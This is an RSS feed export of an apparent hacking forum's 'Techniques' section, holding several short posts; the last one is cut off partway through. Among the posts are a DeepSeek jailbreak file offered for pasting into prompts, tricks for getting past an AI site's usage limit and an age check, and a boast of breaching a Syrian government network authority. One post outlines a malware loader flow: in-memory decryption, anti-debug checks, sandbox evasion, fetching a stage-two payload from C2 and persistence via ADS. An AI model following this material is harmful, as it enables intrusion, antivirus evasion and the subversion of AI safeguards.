<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/">
	<channel>
		<title><![CDATA[Kurdistan Hackers Forums - یانەی هاککەرانی کوردستان - Techniques & Methodologies | تەکنیک و مێذۆدەکان]]></title>
		<link>https://h4kurd.online/</link>
		<description><![CDATA[Kurdistan Hackers Forums - یانەی هاککەرانی کوردستان - https://h4kurd.online]]></description>
		<pubDate>Wed, 21 Oct 2026 04:37:27 +0000</pubDate>
		<generator>MyBB</generator>
		<item>
			<title><![CDATA[Muse  AI agent 1 billion tokens]]></title>
			<link>https://h4kurd.online/showthread.php?tid=1352</link>
			<pubDate>Wed, 23 Sep 2026 11:32:08 -0400</pubDate>
			<dc:creator><![CDATA[<a href="https://h4kurd.online/member.php?action=profile&uid=52">0xk5</a>]]></dc:creator>
			<guid isPermaLink="false">https://h4kurd.online/showthread.php?tid=1352</guid>
			<description><![CDATA[<span style="color: #f012be;" class="mycode_color"><span style="font-size: large;" class="mycode_size">Check out Muse,  AI agent. Redeem  code in Settings of joining and you'll  get 1 billion Muse tokens.<br />
 </span></span><br />
<br />
<span style="color: #f012be;" class="mycode_color"><span style="font-size: large;" class="mycode_size">turn your vpn to usa </span></span><br />
<br />
<span style="color: #f012be;" class="mycode_color"><span style="font-size: large;" class="mycode_size">go to : </span></span><span style="font-size: large;" class="mycode_size"><span style="color: #e82a1f;" class="mycode_color"><a href="https://muse.ai/join" target="_blank" rel="noopener" class="mycode_url">https://muse.ai/join</a> </span></span><br />
<span style="color: #f012be;" class="mycode_color"><span style="font-size: large;" class="mycode_size">signup</span></span><br />
<span style="color: #f012be;" class="mycode_color"><span style="font-size: large;" class="mycode_size">confirm your age with instagram if you got error just refesh the page it will bypass <img src="https://h4kurd.online/images/smilies/smile.png" alt="Smile" title="Smile" class="smilie smilie_1" /></span></span><br />
<br />
<span style="color: #f012be;" class="mycode_color"><span style="font-size: large;" class="mycode_size"><br />
Code: </span></span><span style="color: #e82a1f;" class="mycode_color"><span style="font-size: large;" class="mycode_size">6MBLGV</span></span>]]></description>
			<content:encoded><![CDATA[<span style="color: #f012be;" class="mycode_color"><span style="font-size: large;" class="mycode_size">Check out Muse,  AI agent. Redeem  code in Settings of joining and you'll  get 1 billion Muse tokens.<br />
 </span></span><br />
<br />
<span style="color: #f012be;" class="mycode_color"><span style="font-size: large;" class="mycode_size">turn your vpn to usa </span></span><br />
<br />
<span style="color: #f012be;" class="mycode_color"><span style="font-size: large;" class="mycode_size">go to : </span></span><span style="font-size: large;" class="mycode_size"><span style="color: #e82a1f;" class="mycode_color"><a href="https://muse.ai/join" target="_blank" rel="noopener" class="mycode_url">https://muse.ai/join</a> </span></span><br />
<span style="color: #f012be;" class="mycode_color"><span style="font-size: large;" class="mycode_size">signup</span></span><br />
<span style="color: #f012be;" class="mycode_color"><span style="font-size: large;" class="mycode_size">confirm your age with instagram if you got error just refesh the page it will bypass <img src="https://h4kurd.online/images/smilies/smile.png" alt="Smile" title="Smile" class="smilie smilie_1" /></span></span><br />
<br />
<span style="color: #f012be;" class="mycode_color"><span style="font-size: large;" class="mycode_size"><br />
Code: </span></span><span style="color: #e82a1f;" class="mycode_color"><span style="font-size: large;" class="mycode_size">6MBLGV</span></span>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[🔥UNRESTRICTED AI MAKE ANYTHING + ITS LIMIT BYPASS TRICK 🔥]]></title>
			<link>https://h4kurd.online/showthread.php?tid=1347</link>
			<pubDate>Tue, 22 Sep 2026 07:01:19 -0400</pubDate>
			<dc:creator><![CDATA[<a href="https://h4kurd.online/member.php?action=profile&uid=52">0xk5</a>]]></dc:creator>
			<guid isPermaLink="false">https://h4kurd.online/showthread.php?tid=1347</guid>
			<description><![CDATA[<span style="color: #c10300;" class="mycode_color"><span style="font-size: large;" class="mycode_size">the website gives You Only 15 prompts per day</span></span><br />
<span style="color: #c10300;" class="mycode_color"><span style="font-size: large;" class="mycode_size">connect a vpn to any country and open the website after u hit limit just refresh the page boom haha chats also didnot remove u can continue chatting the same projec</span></span><br />
<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="color: #ffdc00;" class="mycode_color"><span style="font-size: x-large;" class="mycode_size"><a href="https://venice.ai/chat?ref=GB-hKl" target="_blank" rel="noopener" class="mycode_url">https://venice.ai/chat?ref=GB-hKl</a></span></span></div>]]></description>
			<content:encoded><![CDATA[<span style="color: #c10300;" class="mycode_color"><span style="font-size: large;" class="mycode_size">the website gives You Only 15 prompts per day</span></span><br />
<span style="color: #c10300;" class="mycode_color"><span style="font-size: large;" class="mycode_size">connect a vpn to any country and open the website after u hit limit just refresh the page boom haha chats also didnot remove u can continue chatting the same projec</span></span><br />
<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="color: #ffdc00;" class="mycode_color"><span style="font-size: x-large;" class="mycode_size"><a href="https://venice.ai/chat?ref=GB-hKl" target="_blank" rel="noopener" class="mycode_url">https://venice.ai/chat?ref=GB-hKl</a></span></span></div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[deepseek-pv-jb.txt (jailbreak)]]></title>
			<link>https://h4kurd.online/showthread.php?tid=1336</link>
			<pubDate>Sat, 19 Sep 2026 16:42:21 -0400</pubDate>
			<dc:creator><![CDATA[<a href="https://h4kurd.online/member.php?action=profile&uid=52">0xk5</a>]]></dc:creator>
			<guid isPermaLink="false">https://h4kurd.online/showthread.php?tid=1336</guid>
			<description><![CDATA[<span style="color: #c14700;" class="mycode_color"><span style="font-size: x-large;" class="mycode_size">paste the txt into prompt </span></span><br />
<span style="color: #c14700;" class="mycode_color"><span style="font-size: x-large;" class="mycode_size">then it will saves to an original txt </span></span><br />
<span style="color: #c14700;" class="mycode_color"><span style="font-size: x-large;" class="mycode_size">then click that file it will open the jailbreak which you paste it beside the the screen </span></span><br />
<span style="color: #c14700;" class="mycode_color"><span style="font-size: x-large;" class="mycode_size">then click send </span></span><br />
<br />
<span style="color: #c14700;" class="mycode_color"><span style="font-size: x-large;" class="mycode_size">enjoy <img src="https://h4kurd.online/images/smilies/smile.png" alt="Smile" title="Smile" class="smilie smilie_1" />  </span></span><br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://h4kurd.online/images/attachtypes/txt.png" title="Text Document" border="0" alt=".txt" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="attachment.php?aid=184" target="_blank" title="">deepseek-pv-jb.txt</a> (Size: 75.67 KB / Downloads: 19)
<!-- end: postbit_attachments_attachment -->]]></description>
			<content:encoded><![CDATA[<span style="color: #c14700;" class="mycode_color"><span style="font-size: x-large;" class="mycode_size">paste the txt into prompt </span></span><br />
<span style="color: #c14700;" class="mycode_color"><span style="font-size: x-large;" class="mycode_size">then it will saves to an original txt </span></span><br />
<span style="color: #c14700;" class="mycode_color"><span style="font-size: x-large;" class="mycode_size">then click that file it will open the jailbreak which you paste it beside the the screen </span></span><br />
<span style="color: #c14700;" class="mycode_color"><span style="font-size: x-large;" class="mycode_size">then click send </span></span><br />
<br />
<span style="color: #c14700;" class="mycode_color"><span style="font-size: x-large;" class="mycode_size">enjoy <img src="https://h4kurd.online/images/smilies/smile.png" alt="Smile" title="Smile" class="smilie smilie_1" />  </span></span><br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://h4kurd.online/images/attachtypes/txt.png" title="Text Document" border="0" alt=".txt" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="attachment.php?aid=184" target="_blank" title="">deepseek-pv-jb.txt</a> (Size: 75.67 KB / Downloads: 19)
<!-- end: postbit_attachments_attachment -->]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[هاککردنی دەزگای نیشتمانی حکومەتی سوریا بۆ خزمەتگوزاری تۆڕەکان]]></title>
			<link>https://h4kurd.online/showthread.php?tid=1099</link>
			<pubDate>Thu, 13 Aug 2026 22:52:55 -0400</pubDate>
			<dc:creator><![CDATA[<a href="https://h4kurd.online/member.php?action=profile&uid=1">Shada Kurdistani</a>]]></dc:creator>
			<guid isPermaLink="false">https://h4kurd.online/showthread.php?tid=1099</guid>
			<description><![CDATA[<div style="text-align: center;" class="mycode_align"><span style="font-size: x-large;" class="mycode_size">سڵاو و ڕێز <br />
<br />
<span style="color: #17b529;" class="mycode_color">دوای ئەوەی توانیم بە ماوەی چەند رۆژێک دەزگای نیشتمانی حکومەتی سوریا بۆ خزمەتگوزاری تۆڕەکان هاک بکەم ساتی هاککردنەکەم کردۆتە فیدیۆ و راپۆرت تاوەکو بتوانن سودی لێ ببینن و زانیاری لێ وەرگرن</span><br />
<br />
لینکی ڤیدیۆ:<br />
<a href="https://www.youtube.com/watch?v=QAPKGmcuYsc" target="_blank" rel="noopener" class="mycode_url">https://www.youtube.com/watch?v=QAPKGmcuYsc</a><br />
<br />
لینکی راپۆرت (سەرەتا تاوەکو کۆتای) بێ بەکارهێنانی هیچ ئامرازێک جگە لە بورپ سویت:<br />
<a href="https://medium.com/@xkrd/national-authority-for-network-it-services-of-syrian-government-admin-account-takeover-password-4883b52799e3" target="_blank" rel="noopener" class="mycode_url">https://medium.com/@xkrd/national-author...83b52799e3</a><br />
<span style="color: #ff4136;" class="mycode_color"><br />
بەهیوای سوود بۆ هەموولایەک<br />
بژی کورد بژی کوردستان</span><br />
</span></div>]]></description>
			<content:encoded><![CDATA[<div style="text-align: center;" class="mycode_align"><span style="font-size: x-large;" class="mycode_size">سڵاو و ڕێز <br />
<br />
<span style="color: #17b529;" class="mycode_color">دوای ئەوەی توانیم بە ماوەی چەند رۆژێک دەزگای نیشتمانی حکومەتی سوریا بۆ خزمەتگوزاری تۆڕەکان هاک بکەم ساتی هاککردنەکەم کردۆتە فیدیۆ و راپۆرت تاوەکو بتوانن سودی لێ ببینن و زانیاری لێ وەرگرن</span><br />
<br />
لینکی ڤیدیۆ:<br />
<a href="https://www.youtube.com/watch?v=QAPKGmcuYsc" target="_blank" rel="noopener" class="mycode_url">https://www.youtube.com/watch?v=QAPKGmcuYsc</a><br />
<br />
لینکی راپۆرت (سەرەتا تاوەکو کۆتای) بێ بەکارهێنانی هیچ ئامرازێک جگە لە بورپ سویت:<br />
<a href="https://medium.com/@xkrd/national-authority-for-network-it-services-of-syrian-government-admin-account-takeover-password-4883b52799e3" target="_blank" rel="noopener" class="mycode_url">https://medium.com/@xkrd/national-author...83b52799e3</a><br />
<span style="color: #ff4136;" class="mycode_color"><br />
بەهیوای سوود بۆ هەموولایەک<br />
بژی کورد بژی کوردستان</span><br />
</span></div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Keeps Your Oem unlocked on oneui 8.5]]></title>
			<link>https://h4kurd.online/showthread.php?tid=712</link>
			<pubDate>Fri, 26 Jun 2026 00:34:22 -0400</pubDate>
			<dc:creator><![CDATA[<a href="https://h4kurd.online/member.php?action=profile&uid=223">Zzzz</a>]]></dc:creator>
			<guid isPermaLink="false">https://h4kurd.online/showthread.php?tid=712</guid>
			<description><![CDATA[now you can use old bootloader oneui 7 on oneui 8.5 like mix somethings like that but before those are things must be your Boootloader unlocked (OEM) <br />
this method build by jrkruse from XDA Forms i just found it for s23 ultra and s24 ultra and you must be research for your phone md5  every each posted uniqed to one phone like i said must be find it for you model name device <br />
<br />
S24 ultra Model name  sm-s928-b-0  <a href="https://xdaforums.com/t/sm-s928-b-0-models-userdata_aio-odin-flashable-ui-8-0-8-5-support-keeps-oem-unlock-installs-twrp-or-orange-fox-for-stock-firmware-unlocked-bootloaders.4660645/" target="_blank" rel="noopener" class="mycode_url">https://xdaforums.com/t/sm-s928-b-0-mode...s.4660645/</a><br />
<br />
s23 ultra model name  sm-s918-s916-s911-b-0  <a href="https://xdaforums.com/t/sm-s918-s916-s911-b-0-models-userdata_aio-odin-flashable-ui-8-0-8-5-support-keeps-oem-unlock-installs-twrp-of-for-stock-firmware-unlocked-bootloaders.4610061/" target="_blank" rel="noopener" class="mycode_url">https://xdaforums.com/t/sm-s918-s916-s91...s.4610061/</a><br />
<br />
enjoy ~]]></description>
			<content:encoded><![CDATA[now you can use old bootloader oneui 7 on oneui 8.5 like mix somethings like that but before those are things must be your Boootloader unlocked (OEM) <br />
this method build by jrkruse from XDA Forms i just found it for s23 ultra and s24 ultra and you must be research for your phone md5  every each posted uniqed to one phone like i said must be find it for you model name device <br />
<br />
S24 ultra Model name  sm-s928-b-0  <a href="https://xdaforums.com/t/sm-s928-b-0-models-userdata_aio-odin-flashable-ui-8-0-8-5-support-keeps-oem-unlock-installs-twrp-or-orange-fox-for-stock-firmware-unlocked-bootloaders.4660645/" target="_blank" rel="noopener" class="mycode_url">https://xdaforums.com/t/sm-s928-b-0-mode...s.4660645/</a><br />
<br />
s23 ultra model name  sm-s918-s916-s911-b-0  <a href="https://xdaforums.com/t/sm-s918-s916-s911-b-0-models-userdata_aio-odin-flashable-ui-8-0-8-5-support-keeps-oem-unlock-installs-twrp-of-for-stock-firmware-unlocked-bootloaders.4610061/" target="_blank" rel="noopener" class="mycode_url">https://xdaforums.com/t/sm-s918-s916-s91...s.4610061/</a><br />
<br />
enjoy ~]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[جۆنیەتی بایپاس کردنی ئەنتی ڤایرۆسی کۆمپیوتەر]]></title>
			<link>https://h4kurd.online/showthread.php?tid=581</link>
			<pubDate>Tue, 19 May 2026 01:57:46 -0400</pubDate>
			<dc:creator><![CDATA[<a href="https://h4kurd.online/member.php?action=profile&uid=223">Zzzz</a>]]></dc:creator>
			<guid isPermaLink="false">https://h4kurd.online/showthread.php?tid=581</guid>
			<description><![CDATA[(( <a href="https://chat.deepseek.com/share/wo9mm4gikvmae87jbr" target="_blank" rel="noopener" class="mycode_url">https://chat.deepseek.com/share/wo9mm4gikvmae87jbr</a> ))<br />
<br />
Double-click EXE<br />
      │<br />
      ▼<br />
[Decryptor stub] → decrypts in memory → jumps to OEP<br />
      │<br />
      ▼<br />
Python interpreter starts → runs mem_exec.py<br />
      │<br />
      ▼<br />
Anti-debug check → if debugger, exit<br />
      │<br />
      ▼<br />
Sleep 30s (evade sandbox)<br />
      │<br />
      ▼<br />
Download encrypted stage2 from C2<br />
      │<br />
      ▼<br />
Decrypt stage2 in memory<br />
      │<br />
      ▼<br />
VirtualAlloc RWX → copy payload → CreateThread<br />
      │<br />
      ▼<br />
Payload executes (RAM only)<br />
      │<br />
      ▼<br />
(Optional) Install persistence via ADS]]></description>
			<content:encoded><![CDATA[(( <a href="https://chat.deepseek.com/share/wo9mm4gikvmae87jbr" target="_blank" rel="noopener" class="mycode_url">https://chat.deepseek.com/share/wo9mm4gikvmae87jbr</a> ))<br />
<br />
Double-click EXE<br />
      │<br />
      ▼<br />
[Decryptor stub] → decrypts in memory → jumps to OEP<br />
      │<br />
      ▼<br />
Python interpreter starts → runs mem_exec.py<br />
      │<br />
      ▼<br />
Anti-debug check → if debugger, exit<br />
      │<br />
      ▼<br />
Sleep 30s (evade sandbox)<br />
      │<br />
      ▼<br />
Download encrypted stage2 from C2<br />
      │<br />
      ▼<br />
Decrypt stage2 in memory<br />
      │<br />
      ▼<br />
VirtualAlloc RWX → copy payload → CreateThread<br />
      │<br />
      ▼<br />
Payload executes (RAM only)<br />
      │<br />
      ▼<br />
(Optional) Install persistence via ADS]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Unlock 4k/120fps camera and more ...]]></title>
			<link>https://h4kurd.online/showthread.php?tid=575</link>
			<pubDate>Fri, 15 May 2026 11:51:37 -0400</pubDate>
			<dc:creator><![CDATA[<a href="https://h4kurd.online/member.php?action=profile&uid=223">Zzzz</a>]]></dc:creator>
			<guid isPermaLink="false">https://h4kurd.online/showthread.php?tid=575</guid>
			<description><![CDATA[Magisk module : <a href="https://github.com/GueRapii/Camera-Enchantment-Samsung/releases/tag/v1.2" target="_blank" rel="noopener" class="mycode_url">https://github.com/GueRapii/Camera-Encha...s/tag/v1.2</a><br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://h4kurd.online/images/attachtypes/image.png" title="JPG Image" border="0" alt=".jpg" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="attachment.php?aid=81" target="_blank" title="">Screenshot_20260515_040453_Camera.jpg</a> (Size: 108.67 KB / Downloads: 35)
<!-- end: postbit_attachments_attachment -->]]></description>
			<content:encoded><![CDATA[Magisk module : <a href="https://github.com/GueRapii/Camera-Enchantment-Samsung/releases/tag/v1.2" target="_blank" rel="noopener" class="mycode_url">https://github.com/GueRapii/Camera-Encha...s/tag/v1.2</a><br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://h4kurd.online/images/attachtypes/image.png" title="JPG Image" border="0" alt=".jpg" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="attachment.php?aid=81" target="_blank" title="">Screenshot_20260515_040453_Camera.jpg</a> (Size: 108.67 KB / Downloads: 35)
<!-- end: postbit_attachments_attachment -->]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[!لە هەر کوێیەک دەتەوێ سکررین و ڕیکۆرد بکە بەبێ ڕەشبوونی شاشە]]></title>
			<link>https://h4kurd.online/showthread.php?tid=557</link>
			<pubDate>Fri, 08 May 2026 10:57:03 -0400</pubDate>
			<dc:creator><![CDATA[<a href="https://h4kurd.online/member.php?action=profile&uid=223">Zzzz</a>]]></dc:creator>
			<guid isPermaLink="false">https://h4kurd.online/showthread.php?tid=557</guid>
			<description><![CDATA[<div style="text-align: center;" class="mycode_align"><span style="font-weight: bold;" class="mycode_b"><span style="font-size: x-large;" class="mycode_size">Disabling <span style="color: #c10300;" class="mycode_color">FLAG_SECURE </span>on a Rooted Android Device Using <span style="color: #17b529;" class="mycode_color">Magisk</span> &amp;<span style="color: #005dc2;" class="mycode_color"> ELXposed<br />
<br />
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhu9fe50BfttUdAq_WukVoCgR6gWOjMYukKe8ad-Ul_x6evs7Q9o68D3mEBD9Lj6WAuloDwdOdulUVyK3vHpYq-4KgK4zatwaUotDZLvvLQA8d2UqFvT3a__7iVGueMR2ZhqmJq2FUJsETG0tCDAEzGBjwz5Gxo1NHTdbqco0eeycth3baw2rqt_iPUr_I/s1280/Bypass%20Screenshot%20Restriction.png" loading="lazy"  width="600" height="400" alt="[Image: Bypass%20Screenshot%20Restriction.png]" class="mycode_img" /><br />
<br />
</span></span></span></div>
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">1. Introduction</span></span><br />
<span style="font-size: large;" class="mycode_size">This report explains the process of using a rooted Android device to disable the <span style="font-weight: bold;" class="mycode_b">FLAG_SECURE</span> protection used by some applications to block screenshots and screen recording. The method relies on <span style="font-weight: bold;" class="mycode_b">Magisk root</span>, <span style="font-weight: bold;" class="mycode_b">ELXposed/LSPosed</span>, and a <span style="font-weight: bold;" class="mycode_b">FLAG_SECURE-disabling module</span>.</span><br />
<span style="font-size: large;" class="mycode_size">This approach is typically used in controlled environments for <span style="font-weight: bold;" class="mycode_b">development, testing, and debugging</span>.</span><br />
<hr class="mycode_hr" />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">2. Requirements</span></span><br />
<span style="font-size: large;" class="mycode_size">To complete this procedure, the following components are needed:</span><br />
<ol type="1" class="mycode_list"><li><span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Rooted Android device</span><br />
 – Root obtained using <span style="font-style: italic;" class="mycode_i">Magisk</span>. </span><br />
</li>
<li><span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Magisk Manager</span><br />
 – To load and manage root modules. </span><br />
</li>
<li><span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">ELXposed or LSPosed framework</span><br />
 – Provides runtime hooking capability. </span><br />
</li>
<li><span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">FLAG_SECURE Disabler module</span><br />
 – An Xposed/LSPosed module designed to strip <br />
</span><br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>FLAG_SECURE</code></div></div><span style="font-size: large;" class="mycode_size"> system-wide. </span><br />
</li>
<li><span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Device reboot</span><br />
 – Required to apply the framework and module changes. </span><br />
</li>
</ol>
<hr class="mycode_hr" />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">3. Steps</span></span><br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Step 1 — Ensure Device is Rooted with Magisk</span></span><ul class="mycode_list"><li><span style="font-size: large;" class="mycode_size">Unlock bootloader. </span><br />
</li>
<li><span style="font-size: large;" class="mycode_size">Flash Magisk. </span><br />
</li>
<li><span style="font-size: large;" class="mycode_size">Boot into system and open the Magisk app. </span><br />
</li>
<li><span style="font-size: large;" class="mycode_size">Confirm root access is active. </span><br />
</li>
</ul>
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Step 2 — Install ELXposed (or LSPosed)</span></span><ul class="mycode_list"><li><span style="font-size: large;" class="mycode_size">Download ELXposed/LSPosed module (Zygisk version for Android 12–15). </span><br />
</li>
<li><span style="font-size: large;" class="mycode_size">Open <span style="font-weight: bold;" class="mycode_b">Magisk → Modules → Install from storage</span>. </span><br />
</li>
<li><span style="font-size: large;" class="mycode_size">Select the ELXposed ZIP. </span><br />
</li>
<li><span style="font-size: large;" class="mycode_size">Allow installation to complete. </span><br />
</li>
<li><span style="font-size: large;" class="mycode_size">Reboot the device to activate the hooking framework. </span><br />
</li>
</ul>
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Step 3 — Open ELXposed Manager</span></span><ul class="mycode_list"><li><span style="font-size: large;" class="mycode_size">After reboot, launch the ELXposed/LSPosed Manager app. </span><br />
</li>
<li><span style="font-size: large;" class="mycode_size">Confirm the framework status shows as <span style="font-weight: bold;" class="mycode_b">active</span>. </span><br />
</li>
</ul>
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Step 4 — Install FLAG_SECURE Disabler Module</span></span><ul class="mycode_list"><li><span style="font-size: large;" class="mycode_size">In ELXposed Manager, go to <span style="font-weight: bold;" class="mycode_b">Modules</span>. </span><br />
</li>
<li><span style="font-size: large;" class="mycode_size">Install a module that disables the <br />
</span><br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>FLAG_SECURE</code></div></div><span style="font-size: large;" class="mycode_size"> window flag. </span><br />
</li>
<li><span style="font-size: large;" class="mycode_size">Enable the module. </span><br />
</li>
<li><span style="font-size: large;" class="mycode_size">Select <span style="font-weight: bold;" class="mycode_b">Apply to All Apps</span> or specific target apps. </span><br />
</li>
</ul>
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Step 5 — Reboot Device</span></span><ul class="mycode_list"><li><span style="font-size: large;" class="mycode_size">A final reboot is required. </span><br />
</li>
<li><span style="font-size: large;" class="mycode_size">After reboot, ELXposed loads the module during system startup. </span><br />
</li>
<li><div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>FLAG_SECURE</code></div></div><span style="font-size: large;" class="mycode_size"> is now removed at runtime by the hooking layer. </span><br />
</li>
</ul>
<hr class="mycode_hr" />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">4. Conclusion</span></span><br />
<span style="font-size: large;" class="mycode_size">By rooting the device with <span style="font-weight: bold;" class="mycode_b">Magisk</span>, installing <span style="font-weight: bold;" class="mycode_b">ELXposed/LSPosed</span>, enabling a <span style="font-weight: bold;" class="mycode_b">FLAG_SECURE disabling module</span>, and rebooting, the system removes secure UI flags across applications during runtime. This setup allows developers and testers to freely capture screens in protected areas of their own apps or test environments.</span><br />
<span style="font-size: large;" class="mycode_size"><br />
The entire process can be summarized as:</span><br />
<span style="font-weight: bold;" class="mycode_b"><span style="font-size: large;" class="mycode_size">Root → Install ELXposed → Install FLAG_SECURE module → Reboot → Done.<br />
<br />
 <img src="https://h4kurd.online/images/smilies/dodgy.png" alt="Dodgy" title="Dodgy" class="smilie smilie_14" /> </span></span><br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://h4kurd.online/images/attachtypes/image.png" title="JPG Image" border="0" alt=".jpg" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="attachment.php?aid=76" target="_blank" title="">Screenshot_20260508_180136_Telegram.jpg</a> (Size: 378.38 KB / Downloads: 20)
<!-- end: postbit_attachments_attachment -->]]></description>
			<content:encoded><![CDATA[<div style="text-align: center;" class="mycode_align"><span style="font-weight: bold;" class="mycode_b"><span style="font-size: x-large;" class="mycode_size">Disabling <span style="color: #c10300;" class="mycode_color">FLAG_SECURE </span>on a Rooted Android Device Using <span style="color: #17b529;" class="mycode_color">Magisk</span> &amp;<span style="color: #005dc2;" class="mycode_color"> ELXposed<br />
<br />
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhu9fe50BfttUdAq_WukVoCgR6gWOjMYukKe8ad-Ul_x6evs7Q9o68D3mEBD9Lj6WAuloDwdOdulUVyK3vHpYq-4KgK4zatwaUotDZLvvLQA8d2UqFvT3a__7iVGueMR2ZhqmJq2FUJsETG0tCDAEzGBjwz5Gxo1NHTdbqco0eeycth3baw2rqt_iPUr_I/s1280/Bypass%20Screenshot%20Restriction.png" loading="lazy"  width="600" height="400" alt="[Image: Bypass%20Screenshot%20Restriction.png]" class="mycode_img" /><br />
<br />
</span></span></span></div>
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">1. Introduction</span></span><br />
<span style="font-size: large;" class="mycode_size">This report explains the process of using a rooted Android device to disable the <span style="font-weight: bold;" class="mycode_b">FLAG_SECURE</span> protection used by some applications to block screenshots and screen recording. The method relies on <span style="font-weight: bold;" class="mycode_b">Magisk root</span>, <span style="font-weight: bold;" class="mycode_b">ELXposed/LSPosed</span>, and a <span style="font-weight: bold;" class="mycode_b">FLAG_SECURE-disabling module</span>.</span><br />
<span style="font-size: large;" class="mycode_size">This approach is typically used in controlled environments for <span style="font-weight: bold;" class="mycode_b">development, testing, and debugging</span>.</span><br />
<hr class="mycode_hr" />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">2. Requirements</span></span><br />
<span style="font-size: large;" class="mycode_size">To complete this procedure, the following components are needed:</span><br />
<ol type="1" class="mycode_list"><li><span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Rooted Android device</span><br />
 – Root obtained using <span style="font-style: italic;" class="mycode_i">Magisk</span>. </span><br />
</li>
<li><span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Magisk Manager</span><br />
 – To load and manage root modules. </span><br />
</li>
<li><span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">ELXposed or LSPosed framework</span><br />
 – Provides runtime hooking capability. </span><br />
</li>
<li><span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">FLAG_SECURE Disabler module</span><br />
 – An Xposed/LSPosed module designed to strip <br />
</span><br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>FLAG_SECURE</code></div></div><span style="font-size: large;" class="mycode_size"> system-wide. </span><br />
</li>
<li><span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Device reboot</span><br />
 – Required to apply the framework and module changes. </span><br />
</li>
</ol>
<hr class="mycode_hr" />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">3. Steps</span></span><br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Step 1 — Ensure Device is Rooted with Magisk</span></span><ul class="mycode_list"><li><span style="font-size: large;" class="mycode_size">Unlock bootloader. </span><br />
</li>
<li><span style="font-size: large;" class="mycode_size">Flash Magisk. </span><br />
</li>
<li><span style="font-size: large;" class="mycode_size">Boot into system and open the Magisk app. </span><br />
</li>
<li><span style="font-size: large;" class="mycode_size">Confirm root access is active. </span><br />
</li>
</ul>
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Step 2 — Install ELXposed (or LSPosed)</span></span><ul class="mycode_list"><li><span style="font-size: large;" class="mycode_size">Download ELXposed/LSPosed module (Zygisk version for Android 12–15). </span><br />
</li>
<li><span style="font-size: large;" class="mycode_size">Open <span style="font-weight: bold;" class="mycode_b">Magisk → Modules → Install from storage</span>. </span><br />
</li>
<li><span style="font-size: large;" class="mycode_size">Select the ELXposed ZIP. </span><br />
</li>
<li><span style="font-size: large;" class="mycode_size">Allow installation to complete. </span><br />
</li>
<li><span style="font-size: large;" class="mycode_size">Reboot the device to activate the hooking framework. </span><br />
</li>
</ul>
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Step 3 — Open ELXposed Manager</span></span><ul class="mycode_list"><li><span style="font-size: large;" class="mycode_size">After reboot, launch the ELXposed/LSPosed Manager app. </span><br />
</li>
<li><span style="font-size: large;" class="mycode_size">Confirm the framework status shows as <span style="font-weight: bold;" class="mycode_b">active</span>. </span><br />
</li>
</ul>
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Step 4 — Install FLAG_SECURE Disabler Module</span></span><ul class="mycode_list"><li><span style="font-size: large;" class="mycode_size">In ELXposed Manager, go to <span style="font-weight: bold;" class="mycode_b">Modules</span>. </span><br />
</li>
